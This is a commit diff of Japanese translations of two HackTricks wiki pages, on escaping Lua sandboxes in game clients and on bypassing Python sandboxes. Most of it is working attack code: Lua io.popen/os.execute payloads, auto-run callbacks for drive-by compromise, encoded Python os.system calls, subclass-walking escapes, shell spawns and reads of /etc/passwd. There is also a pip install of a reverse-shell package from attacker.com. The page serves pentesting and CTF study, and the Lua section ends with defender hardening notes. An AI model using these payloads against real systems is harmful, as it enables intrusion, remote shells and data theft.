mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/pr
This commit is contained in:
parent
1983e13d19
commit
cd8aaf639a
@ -1,18 +1,18 @@
|
||||
# Lua サンドボックスをバイパスする(embedded VMs, game clients)
|
||||
# Lua サンドボックスを回避する(組み込みVM、ゲームクライアント)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
このページは、アプリケーション(特にゲームクライアント、プラグイン、またはアプリ内スクリプトエンジン)に組み込まれた Lua の「サンドボックス」を列挙し脱出するための実践的な手法をまとめたものです。多くのエンジンは制限された Lua 環境を公開しますが、強力なグローバルが到達可能なままで、bytecode loaders が公開されている場合には任意のコマンド実行やネイティブメモリ破壊を引き起こす可能性があります。
|
||||
このページは、アプリケーション(主にゲームクライアント、プラグイン、またはアプリ内スクリプトエンジン)に組み込まれたLua「サンドボックス」を列挙し脱出するための実践的な手法をまとめたものです。多くのエンジンは制限されたLua環境を公開しますが、強力なグローバルが到達可能なまま残されていることがあり、bytecode loadersが露出している場合は任意のコマンド実行やネイティブメモリ破壊を引き起こすこともあります。
|
||||
|
||||
Key ideas:
|
||||
- VM を未知の環境として扱う: _G を列挙し、どの危険なプリミティブにアクセスできるかを発見する。
|
||||
- stdout/print がブロックされている場合、in-VM の UI/IPC チャネルを出力先として悪用し結果を観察する。
|
||||
- io/os が公開されている場合、通常は直接コマンド実行が可能(io.popen、os.execute)。
|
||||
- load/loadstring/loadfile が公開されている場合、細工した Lua バイトコードを実行することで一部のバージョンでメモリ安全性を破ることができる(≤5.1 verifiers はバイパス可能;5.2 では verifier が削除されている)、これにより高度なエクスプロイトが可能になる。
|
||||
- VMを未知の環境として扱う: _Gを列挙して、どの危険なプリミティブが到達可能かを発見する。
|
||||
- stdout/printがブロックされている場合は、in-VMのUI/IPCチャネルを出力先として悪用し、結果を観察する。
|
||||
- io/osが公開されている場合、io.popenやos.executeなどで直接コマンド実行できることが多い。
|
||||
- load/loadstring/loadfileが公開されている場合、作成したLua bytecodeを実行することで一部のバージョンでメモリ安全性を破ることがあり(≤5.1ではverifierが回避可能、5.2でverifierは削除)、高度なエクスプロイトが可能になる。
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
## サンドボックス化された環境の列挙
|
||||
|
||||
- グローバル環境をダンプして到達可能なテーブル/関数を列挙する:
|
||||
- 到達可能なテーブル/関数を一覧化するため、グローバル環境をダンプする:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- print() が利用できない場合は、in-VM channels を転用する。MMO の housing script VM の例では、チャット出力はサウンド呼び出しの後でしか動作しないため、以下は信頼性の高い出力関数を構築する例です:
|
||||
- print() が利用できない場合は、in-VM channels を再利用する。MMO の housing script VM の例では、chat output は sound call の後でしか動作しない。以下は信頼できる output function を構築する例:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
@ -39,11 +39,11 @@ local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
ターゲットに合わせてこのパターンを一般化する:任意の textbox、toast、logger、または UI callback が strings を受け取る場合、それらは reconnaissance の stdout として機能し得る。
|
||||
このパターンをターゲットに一般化すると: 任意のtextbox、toast、logger、または文字列を受け取るUI callbackはreconnaissanceのためのstdoutとして機能し得ます。
|
||||
|
||||
## Direct command execution if io/os is exposed
|
||||
## io/osが露出している場合の直接的なコマンド実行
|
||||
|
||||
もし sandbox が依然として標準ライブラリ io や os を公開しているなら、おそらく即座に command execution が可能です:
|
||||
もしsandboxが標準ライブラリのioやosをまだ露出しているなら、おそらく即時にコマンド実行が可能です:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
@ -53,29 +53,29 @@ os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
注意:
|
||||
- 実行は client process 内で行われる。external debuggers をブロックする多くの anti-cheat/antidebug レイヤーでも、in-VM process creation を防げないことが多い。
|
||||
- また確認すべきもの: package.loadlib(arbitrary DLL/.so loading)、require(native modules を伴う場合)、LuaJIT's ffi(存在する場合)、および the debug library(VM 内で権限を上げる可能性がある)。
|
||||
- 実行はクライアントプロセス内で行われる。外部デバッガをブロックする多くの anti-cheat/antidebug レイヤは、VM内でのプロセス作成を妨げない。
|
||||
- また確認: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
|
||||
|
||||
## Zero-click トリガー(auto-run callbacks 経由)
|
||||
## Zero-click triggers via auto-run callbacks
|
||||
|
||||
If the host application pushes scripts to clients and the VM exposes auto-run hooks (e.g., OnInit/OnLoad/OnEnter), place your payload there for drive-by compromise as soon as the script loads:
|
||||
ホストアプリケーションがクライアントにスクリプトをプッシュし、VMが auto-run hooks(例: OnInit/OnLoad/OnEnter)を公開している場合、スクリプトがロードされ次第、そこに payload を置いて drive-by compromise を行う:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
スクリプトがクライアントに送信され自動的に実行される場合、任意の同等のコールバック(OnLoad、OnEnter など)がこの手法を一般化します。
|
||||
スクリプトがクライアントに自動的に送信され実行される場合、同等のコールバック(OnLoad、OnEnter など)はこの手法を一般化します。
|
||||
|
||||
## リコン中に探すべき危険なプリミティブ
|
||||
## Recon 中に探すべき危険なプリミティブ
|
||||
|
||||
_G 列挙中、特に次を探してください:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: execute source or bytecode; supports loading untrusted bytecode.
|
||||
- package, package.loadlib, require: dynamic library loading and module surface.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, and hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
|
||||
_G 列挙中は、特に次を探す:
|
||||
- io, os: io.popen, os.execute, ファイル I/O、環境(env)へのアクセス。
|
||||
- load, loadstring, loadfile, dofile: ソースまたはバイトコードを実行する; 信頼できないバイトコードのロードをサポートする。
|
||||
- package, package.loadlib, require: 動的ライブラリのロードとモジュールの表面(API)。
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, およびフック。
|
||||
- LuaJIT-only: ffi.cdef, ffi.load — ネイティブコードを直接呼び出すために使用される。
|
||||
|
||||
到達可能な場合の最小使用例:
|
||||
最小限の使用例(到達可能であれば):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
@ -90,21 +90,20 @@ print(g())
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## オプションの権限昇格: Lua bytecode loaders の悪用
|
||||
## オプションのエスカレーション: Lua bytecode loaders の悪用
|
||||
|
||||
load/loadstring/loadfile が利用可能で io/os が制限されている場合、細工した Lua bytecode の実行によりメモリの開示や破損プリミティブにつながる可能性がある。主なポイント:
|
||||
load/loadstring/loadfile が到達可能で io/os が制限されている場合、細工された Lua bytecode の実行はメモリ開示や破損プリミティブに繋がる可能性がある。主なポイント:
|
||||
- Lua ≤ 5.1 には既知のバイパスがある bytecode verifier が搭載されていた。
|
||||
- Lua 5.2 は verifier を完全に削除した(公式見解:アプリケーションは precompiled chunks を拒否すべき)、そのため bytecode loading が禁止されていない場合に攻撃面が拡大する。
|
||||
- 一般的なワークフロー: in-VM 出力経由で pointers を leak し、type confusions を生み出すよう bytecode を作成(例: FORLOOP や他の opcodes 周辺)、そこから arbitrary read/write や native code execution にピボットする。
|
||||
|
||||
- Lua ≤ 5.1 には既知のバイパスを持つ bytecode verifier が同梱されていた。
|
||||
- Lua 5.2 は verifier を完全に削除した(公式見解: アプリケーションは precompiled chunks を拒否すべき)。そのため bytecode loading を禁止していないと攻撃対象領域が拡大する。
|
||||
- 一般的なワークフロー: in-VM 出力でポインタを leak し、型混同を引き起こすように bytecode を作成(例: FORLOOP やその他の opcodes 周り)、そこから arbitrary read/write やネイティブコード実行へピボットする。
|
||||
この経路はエンジン/バージョン依存で RE を要する。詳細な解析、exploitation primitives、ゲームにおける例示的な gadgetry については参考文献を参照。
|
||||
|
||||
この経路はエンジンやバージョンに依存し、RE を必要とする。詳細な解析、exploitation primitives、ゲーム内での例示的な gadgetry は下の参考を参照。
|
||||
## 検出とハードニングの注意点(防御者向け)
|
||||
|
||||
## Detection and hardening notes (for defenders)
|
||||
|
||||
- Server side: ユーザスクリプトを拒否または書き換え; safe APIs を allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi を削除するか空バインドにする。
|
||||
- Client side: 最小限の _ENV で Lua を実行し、bytecode loading を禁止、厳格な bytecode verifier や署名チェックを再導入し、クライアントプロセスからのプロセス生成をブロックする。
|
||||
- Telemetry: script load の直後に gameclient → child process の生成があればアラートを上げ、UI/chat/script イベントと相関させる。
|
||||
- Server side: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Client side: run Lua with a minimal _ENV, forbid bytecode loading, reintroduce a strict bytecode verifier or signature checks, and block process creation from the client process.
|
||||
- Telemetry: alert on gameclient → child process creation shortly after script load; correlate with UI/chat/script events.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
これは、python sandbox の保護を回避して任意のコマンドを実行するためのいくつかのトリックです。
|
||||
これらはいくつかのトリックで、python サンドボックスの保護を回避し、任意のコマンドを実行する方法です。
|
||||
|
||||
|
||||
## Command Execution Libraries
|
||||
|
||||
最初に確認すべきは、すでに import されている library を使って直接 code を実行できるか、または以下の library を import できるかどうかです:
|
||||
最初に知っておくべきことは、既にimportされているライブラリで直接コードを実行できるか、または以下のいずれかのライブラリをimportできるかどうかです:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -42,18 +42,19 @@ system('ls')
|
||||
```
|
||||
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** function allows executing python code before the program crashes.
|
||||
> [!CAUTION] > **Python2 input()** function は、プログラムがクラッシュする前に python code を実行させることができます。
|
||||
|
||||
Python try to **load libraries from the current directory first** (the following command will print where is python loading modules from): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python は **load libraries from the current directory first** を優先してライブラリをロードします(以下のコマンドは python がどこからモジュールをロードしているかを表示します): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Default packages
|
||||
### デフォルトのパッケージ
|
||||
|
||||
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\ For example, the following pickle, when loaded, is going to import the pip library to use it:
|
||||
注意: pickle から python env に対して、システムにインストールされている **import arbitrary libraries** を行わせることができます。\
|
||||
例えば、以下の pickle はロードされると pip ライブラリを import して使用します:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,32 +67,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
pickle の動作に関する詳細は次を参照してください: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
pickle の動作についての詳細は次を参照してください: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
|
||||
トリック(共有者:**@isHaacK**)
|
||||
**@isHaacK** によるトリック
|
||||
|
||||
`pip` または `pip.main()` にアクセスできる場合、任意のパッケージをインストールして reverse shell を取得できます。呼び出しは次の通り:
|
||||
もし `pip` または `pip.main()` にアクセスできる場合、任意のパッケージをインストールし、次を呼び出すことで reverse shell を取得できます:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
|
||||
ここから reverse shell を作成するためのパッケージをダウンロードできます。使用する前に、**解凍し、`setup.py` を変更し、reverse shell 用の IP を設定する**必要がある点に注意してください:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> このパッケージは`Reverse`という名前です。ただし、特別に作られており、reverse shellを終了するとインストールの残りが失敗するようになっているため、離脱後に**サーバーに余分な python package を残さない**ようになっています。
|
||||
> このパッケージは `Reverse` と呼ばれます。しかし、特別に細工されており、reverse shell を終了すると残りのインストールが失敗するため、**サーバー上に余分な python package を残さずに離脱できます**。
|
||||
|
||||
## Eval-ing python code
|
||||
## python コードの eval
|
||||
|
||||
> [!WARNING]
|
||||
> execは複数行の文字列や「;」を許可しますが、evalは許可しません(walrus operatorを確認してください)
|
||||
> exec は複数行の文字列と ";" を許可しますが、eval は許可しません(walrus operator を確認してください)
|
||||
|
||||
特定の文字が禁止されている場合、**hex/octal/B64**表現を使って制限を**bypass**できます:
|
||||
特定の文字が禁止されている場合、**hex/octal/B64** 表現を使って制限を **bypass** できます:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### pythonコードをevalできるその他のライブラリ
|
||||
### eval python code を実行できるその他のライブラリ
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
PDF ジェネレータにおける実際の sandboxed evaluator 脱出の例も参照してください:
|
||||
また、PDF生成ツールにおける実際の sandboxed evaluator escape も参照してください:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 評価された属性(例えばフォントの色)から rl_safe_eval を悪用して function.__globals__ や os.system に到達し、レンダリングを安定させるために有効な値を返します。
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). これは rl_safe_eval を悪用して、評価された属性(例えば font color)から function.__globals__ と os.system に到達し、レンダリングを安定させるために有効な値を返します。
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## 演算子と短い小技
|
||||
## 演算子とちょっとしたコツ
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -143,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## エンコーディング(UTF-7)を通じた保護のバイパス
|
||||
## エンコーディングによる保護回避 (UTF-7)
|
||||
|
||||
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では、UFT-7 を用いて見かけ上の sandbox 内に任意の python コードをロードして実行しています:
|
||||
[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) では UFT-7 を使って、見かけ上の sandbox 内で任意の python コードをロードして実行しています:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -156,13 +157,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
他のエンコーディング(例: `raw_unicode_escape` や `unicode_escape`)を使って回避することも可能です。
|
||||
`raw_unicode_escape` と `unicode_escape` など、他のエンコーディングを使用してそれをバイパスすることも可能です。
|
||||
|
||||
## 呼び出しなしでの Python 実行
|
||||
## calls なしでの Python 実行
|
||||
|
||||
もし Python ジェイル内にいて、**関数呼び出しができない**場合でも、**任意の関数やコードを実行する**方法や**コマンドを実行する**方法がいくつかあります。
|
||||
もし python jail 内で **doesn't allow you to make calls** 状態であっても、**execute arbitrary functions, code** や **commands** を実行する方法はいくつかあります。
|
||||
|
||||
### [decorators](https://docs.python.org/3/glossary.html#term-decorator) を使った RCE
|
||||
### [decorators](https://docs.python.org/3/glossary.html#term-decorator) を用いた RCE
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE オブジェクトの作成とオーバーロード
|
||||
### RCE: オブジェクトの作成とオーバーロード
|
||||
|
||||
もし**クラスを宣言**し、そのクラスの**オブジェクトを作成**できるなら、**異なるメソッドを書き/上書き**して、それらを**直接呼び出す必要なく****トリガー**させることができます。
|
||||
もし**クラスを宣言**し、その**クラスのオブジェクトを作成**できるなら、**異なるメソッドを書き/上書き**して、それらが**直接呼び出す必要なく****トリガーされる**ようにできます。
|
||||
|
||||
#### RCE(カスタムクラスを使用)
|
||||
#### RCE with custom classes
|
||||
|
||||
いくつかの**クラスメソッド**を変更して(_既存のクラスメソッドを上書きするか新しいクラスを作成することによって_)、それらが**トリガー**されたときに**任意のコードを実行**するようにできます。
|
||||
いくつかの**クラスメソッド**(_既存のクラスメソッドを上書きするか新しいクラスを作成することで_)を変更して、**トリガーされたときに****任意のコードを実行**するようにし、直接呼び出す必要がない状態にできます。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -242,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) を使ってオブジェクトを作成する
|
||||
|
||||
metaclasses が可能にする重要な点は、ターゲットクラスを metaclass として設定した新しいクラスを作成することで、**make an instance of a class, without calling the constructor** を直接呼び出さずに行えることです。
|
||||
metaclasses が可能にする要点は、ターゲットクラスをメタクラスとして持つ新しいクラスを作成することで、**コンストラクタを直接呼び出さずにクラスのインスタンスを作る**ことです。
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### exception を使ったオブジェクトの作成
|
||||
#### exceptionsを使ったオブジェクトの作成
|
||||
|
||||
**exception が発生したとき**、**Exception** のオブジェクトが**作成**され、constructor を直接呼び出す必要はありません([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) によるトリック):
|
||||
**exception** がトリガーされると、**Exception** のオブジェクトが constructor を直接呼び出す必要なく **作成されます** ([**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) からのトリック):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -301,7 +302,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### builtins のヘルプとライセンスを含むファイルを読む
|
||||
### builtins help & license を使ってファイルを読む
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -315,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
もし **`__builtins__`** オブジェクトにアクセスできるなら、ライブラリをimportできます(最後のセクションで示した別の文字列表現もここで使えます):
|
||||
もし **`__builtins__`** オブジェクトにアクセスできれば、ライブラリを import できます(最後のセクションで示した別の文字列表現をここで使うこともできます):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### __builtins__ がない場合
|
||||
### No Builtins
|
||||
|
||||
`__builtins__` がないと、何も import できず、ファイルの読み書きすらできません。なぜなら **すべてのグローバル関数**(例: `open`, `import`, `print`...)が **ロードされていない** ためです.\
|
||||
しかし、**デフォルトで python は多数のモジュールをメモリに import しています**。これらのモジュールは一見 "**無害**" に見えるかもしれませんが、その中には **危険な** 機能を内部で import しており、それらにアクセスすることで **任意コード実行** を得られる場合もあります。
|
||||
When you don't have `__builtins__` you are not going to be able to import anything nor even read or write files as **すべてのグローバル関数** (like `open`, `import`, `print`...) **読み込まれていない**.\
|
||||
しかし、**デフォルトで python は多くのモジュールをメモリにインポートしています**。これらのモジュールは一見無害に見えるかもしれませんが、その中には **危険な機能を内部でインポートしているもの** があり、それにアクセスすることで **任意のコード実行** を得られる場合があります。
|
||||
|
||||
以下の例では、ロードされているこれらの "**無害な**" モジュールのいくつかをどのように **悪用** して内部の **危険な** 機能に **アクセス** するかを示します。
|
||||
以下の例では、読み込まれたこれらの「**無害な**」モジュールのいくつかをどのように**悪用**して、その内部の**危険な** **機能**に**アクセス**するかを示します。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,7 +368,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) は、数十/**数百**の**場所**で**builtins**を見つけるための関数です。
|
||||
[**以下により大きな関数があります**](#recursive-search-of-builtins-globals) は、**builtins** を見つけられる数十/**数百**の**場所**を検出します。
|
||||
|
||||
#### Python2 and Python3
|
||||
```python
|
||||
@ -375,7 +376,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Builtins payloads
|
||||
### Builtins のペイロード
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -385,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
|
||||
```
|
||||
## Globals and locals
|
||||
|
||||
**`globals`** と **`locals`** を確認すると、何にアクセスできるかがわかります。
|
||||
**`globals`** と **`locals`** を確認することは、アクセスできるものを把握する良い方法です。
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) は、数十/**数百**の**場所**で**globals**を見つけるためのものです。
|
||||
|
||||
## 任意実行の発見
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
ここでは、**より危険な機能が読み込まれている場所**を簡単に発見する方法を説明し、より信頼性の高い exploits を提案します。
|
||||
ここでは、**more dangerous functionalities loaded** を簡単に発見する方法を説明し、より信頼性の高いエクスプロイトを提案します。
|
||||
|
||||
#### サブクラスへのアクセス with bypasses
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
この手法で最も敏感な部分の1つは、**基底サブクラスにアクセスできること**です。前の例では `''.__class__.__base__.__subclasses__()` を使ってこれを行いましたが、**他の可能な方法**もあります:
|
||||
この技法で最もセンシティブな部分の一つは、**access the base subclasses** にアクセスできることです。前の例ではこれは `''.__class__.__base__.__subclasses__()` を使って行いましたが、**other possible ways** もあります:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -445,18 +446,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### ロードされた危険なライブラリの検出
|
||||
### ロードされている危険なライブラリの検出
|
||||
|
||||
例えば、ライブラリ **`sys`** を使うと **任意のライブラリをimportできる** ことが分かっている場合、内部で **`sys` をimportしている読み込まれたモジュール** をすべて検索できます:
|
||||
例えば、ライブラリ **`sys`** を使うと **任意のライブラリをimportできる** ことが分かっている場合、**内部で `sys` をimportしているロード済みのモジュール** をすべて検索できます:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
